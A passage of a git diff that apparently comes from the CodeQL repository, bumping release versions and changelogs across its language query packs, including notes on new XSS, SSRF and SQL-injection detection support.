go.dbscheme extractor: go diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md index 794f600ad3e..b711743ccc9 100644 --- a/go/ql/src/CHANGELOG.md +++ b/go/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.3.0 + +### New Queries + +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . + ## 1.2.1 ### Minor Analysis Improvements diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/released/1.3.0.md similarity index 93% rename from go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md rename to go/ql/src/change-notes/released/1.3.0.md index dc86e5b869d..fe0c5a7af3c 100644 --- a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md +++ b/go/ql/src/change-notes/released/1.3.0.md @@ -1,4 +1,5 @@ ---- -category: newQuery ---- +## 1.3.0 + +### New Queries + * Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml index 73dd403938c..ec16350ed6f 100644 --- a/go/ql/src/codeql-pack.release.yml +++ b/go/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.2.1 +lastReleaseVersion: 1.3.0 diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index adaa22f4cbd..8278ece9be5 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.2.2-dev +version: 1.3.0 groups: - go - queries diff --git a/java/ql/lib/CHANGELOG.md b/java/ql/lib/CHANGELOG.md index 7391228e483..1e624ba0913 100644 --- a/java/ql/lib/CHANGELOG.md +++ b/java/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 7.3.1 + +No user-facing changes. + ## 7.3.0 ### Deprecated APIs diff --git a/java/ql/lib/change-notes/released/7.3.1.md b/java/ql/lib/change-notes/released/7.3.1.md new file mode 100644 index 00000000000..2f2fe547226 --- /dev/null +++ b/java/ql/lib/change-notes/released/7.3.1.md @@ -0,0 +1,3 @@ +## 7.3.1 + +No user-facing changes. diff --git a/java/ql/lib/codeql-pack.release.yml b/java/ql/lib/codeql-pack.release.yml index 2b9b871fffa..43cb026b139 100644 --- a/java/ql/lib/codeql-pack.release.yml +++ b/java/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 7.3.0 +lastReleaseVersion: 7.3.1 diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index c5780e1015e..b8d73e70642 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.3.1-dev +version: 7.3.1 groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/CHANGELOG.md b/java/ql/src/CHANGELOG.md index fa038d728e6..ca355f5e684 100644 --- a/java/ql/src/CHANGELOG.md +++ b/java/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.5.2 + +No user-facing changes. + ## 1.5.1 ### Minor Analysis Improvements diff --git a/java/ql/src/change-notes/released/1.5.2.md b/java/ql/src/change-notes/released/1.5.2.md new file mode 100644 index 00000000000..384c27833f1 --- /dev/null +++ b/java/ql/src/change-notes/released/1.5.2.md @@ -0,0 +1,3 @@ +## 1.5.2 + +No user-facing changes. diff --git a/java/ql/src/codeql-pack.release.yml b/java/ql/src/codeql-pack.release.yml index c5775c46013..7eb901bae56 100644 --- a/java/ql/src/codeql-pack.release.yml +++ b/java/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index bd64dd0d176..4ea0bc399ca 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.5.2-dev +version: 1.5.2 groups: - java - queries diff --git a/javascript/ql/lib/CHANGELOG.md b/javascript/ql/lib/CHANGELOG.md index 91b86700ed4..0068a86fb4c 100644 --- a/javascript/ql/lib/CHANGELOG.md +++ b/javascript/ql/lib/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.6.5 + +### Minor Analysis Improvements + +* Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. + ## 2.6.4 ### Minor Analysis Improvements diff --git a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md b/javascript/ql/lib/change-notes/released/2.6.5.md similarity index 74% rename from javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md rename to javascript/ql/lib/change-notes/released/2.6.5.md index f875f796415..ae1137dbc08 100644 --- a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md +++ b/javascript/ql/lib/change-notes/released/2.6.5.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 2.6.5 + +### Minor Analysis Improvements + * Added taint flow through the `URL` constructor from the `url` package, improving the identification of SSRF vulnerabilities. diff --git a/javascript/ql/lib/codeql-pack.release.yml b/javascript/ql/lib/codeql-pack.release.yml index ac755647695..b29c290895c 100644 --- a/javascript/ql/lib/codeql-pack.release.yml +++ b/javascript/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.6.4 +lastReleaseVersion: 2.6.5 diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index dfead0f953d..c015b3679f1 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.5-dev +version: 2.6.5 groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/CHANGELOG.md b/javascript/ql/src/CHANGELOG.md index 95b3d48ac2f..b6939ad5ec4 100644 --- a/javascript/ql/src/CHANGELOG.md +++ b/javascript/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.6.2 + +No user-facing changes. + ## 1.6.1 ### Minor Analysis Improvements diff --git a/javascript/ql/src/change-notes/released/1.6.2.md b/javascript/ql/src/change-notes/released/1.6.2.md new file mode 100644 index 00000000000..bbe3747556f --- /dev/null +++ b/javascript/ql/src/change-notes/released/1.6.2.md @@ -0,0 +1,3 @@ +## 1.6.2 + +No user-facing changes. diff --git a/javascript/ql/src/codeql-pack.release.yml b/javascript/ql/src/codeql-pack.release.yml index ef7a789e0cf..5f5beb68311 100644 --- a/javascript/ql/src/codeql-pack.release.yml +++ b/javascript/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.6.1 +lastReleaseVersion: 1.6.2 diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 2fb51f3e092..6fff98f1f34 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-queries -version: 1.6.2-dev +version: 1.6.2 groups: - javascript - queries diff --git a/misc/suite-helpers/CHANGELOG.md b/misc/suite-helpers/CHANGELOG.md index 1959582a171..534af566852 100644 --- a/misc/suite-helpers/CHANGELOG.md +++ b/misc/suite-helpers/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/misc/suite-helpers/change-notes/released/1.0.25.md b/misc/suite-helpers/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/misc/suite-helpers/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/misc/suite-helpers/codeql-pack.release.yml b/misc/suite-helpers/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/misc/suite-helpers/codeql-pack.release.yml +++ b/misc/suite-helpers/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/misc/suite-helpers/qlpack.yml b/misc/suite-helpers/qlpack.yml index d38442ce1fd..3ee266732fb 100644 --- a/misc/suite-helpers/qlpack.yml +++ b/misc/suite-helpers/qlpack.yml @@ -1,4 +1,4 @@ name: codeql/suite-helpers -version: 1.0.25-dev +version: 1.0.25 groups: shared warnOnImplicitThis: true diff --git a/python/ql/lib/CHANGELOG.md b/python/ql/lib/CHANGELOG.md index 36d7cdbcc2f..09dc9d983a8 100644 --- a/python/ql/lib/CHANGELOG.md +++ b/python/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.0.9 + +No user-facing changes. + ## 4.0.8 ### Minor Analysis Improvements diff --git a/python/ql/lib/change-notes/released/4.0.9.md b/python/ql/lib/change-notes/released/4.0.9.md new file mode 100644 index 00000000000..4effa5d0480 --- /dev/null +++ b/python/ql/lib/change-notes/released/4.0.9.md @@ -0,0 +1,3 @@ +## 4.0.9 + +No user-facing changes. diff --git a/python/ql/lib/codeql-pack.release.yml b/python/ql/lib/codeql-pack.release.yml index 36a2330377d..25b75788f99 100644 --- a/python/ql/lib/codeql-pack.release.yml +++ b/python/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.0.8 +lastReleaseVersion: 4.0.9 diff --git a/python/ql/lib/qlpack.yml b/python/ql/lib/qlpack.yml index ce0240ccb88..4b1d284def3 100644 --- a/python/ql/lib/qlpack.yml +++ b/python/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-all -version: 4.0.9-dev +version: 4.0.9 groups: python dbscheme: semmlecode.python.dbscheme extractor: python diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md index a65d9f84641..292fda17c90 100644 --- a/python/ql/src/CHANGELOG.md +++ b/python/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.5.2 + +### Minor Analysis Improvements + +* Added SQL injection models from the `pandas` PyPI package. + ## 1.5.1 ### Minor Analysis Improvements diff --git a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md b/python/ql/src/change-notes/released/1.5.2.md similarity index 58% rename from python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md rename to python/ql/src/change-notes/released/1.5.2.md index a230dcc63ec..813448ef447 100644 --- a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md +++ b/python/ql/src/change-notes/released/1.5.2.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.5.2 + +### Minor Analysis Improvements + * Added SQL injection models from the `pandas` PyPI package. diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml index c5775c46013..7eb901bae56 100644 --- a/python/ql/src/codeql-pack.release.yml +++ b/python/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.5.1 +lastReleaseVersion: 1.5.2 diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml index 98db7d0387e..54dfe59df77 100644 --- a/python/ql/src/qlpack.yml +++ b/python/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/python-queries -version: 1.5.2-dev +version: 1.5.2 groups: - python - queries diff --git a/ruby/ql/lib/CHANGELOG.md b/ruby/ql/lib/CHANGELOG.md index f637009e8a1..cdd84b3aeeb 100644 --- a/ruby/ql/lib/CHANGELOG.md +++ b/ruby/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 4.1.8 + +No user-facing changes. + ## 4.1.7 ### Minor Analysis Improvements diff --git a/ruby/ql/lib/change-notes/released/4.1.8.md b/ruby/ql/lib/change-notes/released/4.1.8.md new file mode 100644 index 00000000000..4c398b39078 --- /dev/null +++ b/ruby/ql/lib/change-notes/released/4.1.8.md @@ -0,0 +1,3 @@ +## 4.1.8 + +No user-facing changes. diff --git a/ruby/ql/lib/codeql-pack.release.yml b/ruby/ql/lib/codeql-pack.release.yml index 6a89491cdb8..8636017292c 100644 --- a/ruby/ql/lib/codeql-pack.release.yml +++ b/ruby/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.1.7 +lastReleaseVersion: 4.1.8 diff --git a/ruby/ql/lib/qlpack.yml b/ruby/ql/lib/qlpack.yml index 430cc1e2fc3..1ed20c1ddcf 100644 --- a/ruby/ql/lib/qlpack.yml +++ b/ruby/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-all -version: 4.1.8-dev +version: 4.1.8 groups: ruby extractor: ruby dbscheme: ruby.dbscheme diff --git a/ruby/ql/src/CHANGELOG.md b/ruby/ql/src/CHANGELOG.md index 3bf0a2d6312..fcee47275f5 100644 --- a/ruby/ql/src/CHANGELOG.md +++ b/ruby/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.3.2 + +No user-facing changes. + ## 1.3.1 ### Minor Analysis Improvements diff --git a/ruby/ql/src/change-notes/released/1.3.2.md b/ruby/ql/src/change-notes/released/1.3.2.md new file mode 100644 index 00000000000..14f14807ef5 --- /dev/null +++ b/ruby/ql/src/change-notes/released/1.3.2.md @@ -0,0 +1,3 @@ +## 1.3.2 + +No user-facing changes. diff --git a/ruby/ql/src/codeql-pack.release.yml b/ruby/ql/src/codeql-pack.release.yml index e71b6d081f1..86a9cb32d86 100644 --- a/ruby/ql/src/codeql-pack.release.yml +++ b/ruby/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.3.1 +lastReleaseVersion: 1.3.2 diff --git a/ruby/ql/src/qlpack.yml b/ruby/ql/src/qlpack.yml index f6b5e50f8fc..d3963ed7ea4 100644 --- a/ruby/ql/src/qlpack.yml +++ b/ruby/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ruby-queries -version: 1.3.2-dev +version: 1.3.2 groups: - ruby - queries diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index f37d7ac4bae..85c29db05c1 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.10 + +No user-facing changes. + ## 0.1.9 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.10.md b/rust/ql/lib/change-notes/released/0.1.10.md new file mode 100644 index 00000000000..47358eeee93 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 1425c0edf7f..30f5ca88be0 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.9 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/lib/qlpack.yml b/rust/ql/lib/qlpack.yml index ff0621bad83..246c9948c50 100644 --- a/rust/ql/lib/qlpack.yml +++ b/rust/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-all -version: 0.1.10-dev +version: 0.1.10 groups: rust extractor: rust dbscheme: rust.dbscheme diff --git a/rust/ql/src/CHANGELOG.md b/rust/ql/src/CHANGELOG.md index 8b870ea5f99..1459910b5ee 100644 --- a/rust/ql/src/CHANGELOG.md +++ b/rust/ql/src/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.1.10 + +No user-facing changes. + ## 0.1.9 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.10.md b/rust/ql/src/change-notes/released/0.1.10.md new file mode 100644 index 00000000000..47358eeee93 --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 1425c0edf7f..30f5ca88be0 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.9 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index fcda5b64ede..813da756c7b 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.10-dev +version: 0.1.10 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 8748a58b0c4..a9641b2d087 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.9.md b/shared/controlflow/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 7ffb2d9f65b..ce305265e33 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 0ef97923900..08958db7e3e 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 2fe45acb03c..10cb758f6ea 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.9 + +No user-facing changes. + ## 2.0.8 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.9.md b/shared/dataflow/change-notes/released/2.0.9.md new file mode 100644 index 00000000000..b89eb98bbd9 --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 7ffb2d9f65b..ce305265e33 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.8 +lastReleaseVersion: 2.0.9 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 6b6f61cd239..6629d0eb19b 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.9-dev +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 3c432d1383f..ac6be6596f7 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.25.md b/shared/mad/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 2b40a4719fc..508a599359f 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 7668a5ba39d..d7831747b12 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.3 + +No user-facing changes. + ## 0.0.2 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.3.md b/shared/quantum/change-notes/released/0.0.3.md new file mode 100644 index 00000000000..af7864fc7d5 --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.3.md @@ -0,0 +1,3 @@ +## 0.0.3 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index 55dc06fbd76..a24b693d1e7 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.2 +lastReleaseVersion: 0.0.3 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4f0b7759869..ed8f11bc648 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.3-dev +version: 0.0.3 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 5716e332920..c06e99c5f7f 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.25.md b/shared/rangeanalysis/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index 10f6a89e956..e45001c1cd0 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 36cbdcef2ab..1a63aa6e43a 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.25.md b/shared/regex/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 66614e15d12..ea61f121ef4 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 85891c54761..fff1d5b89e2 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.1 + +No user-facing changes. + ## 2.0.0 ### Breaking Changes diff --git a/shared/ssa/change-notes/released/2.0.1.md b/shared/ssa/change-notes/released/2.0.1.md new file mode 100644 index 00000000000..b5b6d0dee91 --- /dev/null +++ b/shared/ssa/change-notes/released/2.0.1.md @@ -0,0 +1,3 @@ +## 2.0.1 + +No user-facing changes. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 0abe6ccede0..fe974a4dbf3 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.0 +lastReleaseVersion: 2.0.1 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index 6b5972aabb0..586a23e5dbb 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 2.0.1-dev +version: 2.0.1 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index a684ef060a5..3fa1fa4c69b 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.25.md b/shared/threat-models/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a1a2ee0a7f2..2ce914671fc 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.25-dev +version: 1.0.25 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index b0f9b01001b..a5290f62bb3 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.25.md b/shared/tutorial/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index d003a55f26e..5e8d7d64ca5 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index 7f8c43e4544..2283f741ca7 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.25 + +No user-facing changes. + ## 1.0.24 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.25.md b/shared/typeflow/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index d08329a98fc..a5a44030e85 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.24 +lastReleaseVersion: 1.0.25 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index a9162922bde..a95abb9ac22 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.25-dev +version: 1.0.25 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 9b269441c00..ad2e63eb470 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.6 + +No 